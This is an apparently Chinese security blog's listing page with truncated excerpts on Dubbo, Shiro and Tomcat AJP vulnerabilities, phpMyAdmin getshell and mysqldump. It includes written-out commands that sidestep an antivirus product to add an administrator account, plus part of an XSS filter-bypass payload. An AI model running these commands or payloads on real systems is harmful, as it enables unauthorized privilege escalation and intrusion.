0x01 漏洞描述
Apache dubbo是一个是基于Java的高性能开源RPC框架。它支持dubbo，http,rmi,hessian等协议。本次问题出现在dubbo开启http协议后，会将消费者提交的request请求，在无安全校验的情况下直接交给了spri...
Adminxe
5年前 (2020-03-14) 4118℃ 1评论
13喜欢
0X00 前言
@Adminxe 这是主要是利用shiro反序列化漏洞的一次渗透利用，可能有些地方不是很详细，主要还是分享过程
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。未经授权，请勿随便转载！
0x01 渗透过程
前期...
Adminxe
5年前 (2020-03-14) 7485℃ 1评论
19喜欢
0x00 前言
简单总结下phpmyadmin的gestshell的姿势，总结但不拓展（百度是最好的老师，有时间必定会详细写出利用姿势的方法），建议getshell之前，查看用户权限以及phpmyadmin的版本，方便对于漏洞的利用。
0x01 getshe...
Adminxe
5年前 (2020-03-10) 9936℃ 0评论
12喜欢
Bypass 某绒拦截添加用户：
copy c:\windows\system32\net1.exe aaa.txt
aaa.txt user mumu 123.com /add
aaa.txt localgroup Administrators mumu ...
Adminxe
5年前 (2020-03-10) 700℃ 0评论
0喜欢
一、备份单个数据库
1、备份命令：mysqldump
MySQL数据库自带的一个很好用的备份命令。是逻辑备份，导出 的是SQL语句。也就是把数据从MySQL库中以逻辑的SQL语句的形式直接输出或生成备份的文件的过程。
单实例语法（Syntax）:
...
Adminxe
5年前 (2020-03-09) 2118℃ 0评论
8喜欢
1.过滤了<>尖括号：
原理：利用html以及js伪协议，当用户打开页面缓冲页面会自动获取焦点，从而触发js代码生成script标签，达到目的。
autofocus οnfοcus=location=”javasCript:s=doc...
Adminxe
5年前 (2020-03-09) 6289℃ 0评论
10喜欢
前言
Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。由于Tomcat本身也内含了HTTP服务器，因此也可以视作单独的Web服务器。此漏洞为文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webap...
Adminxe
5年前 (2020-02-21) 10339℃ 1评论
22喜欢
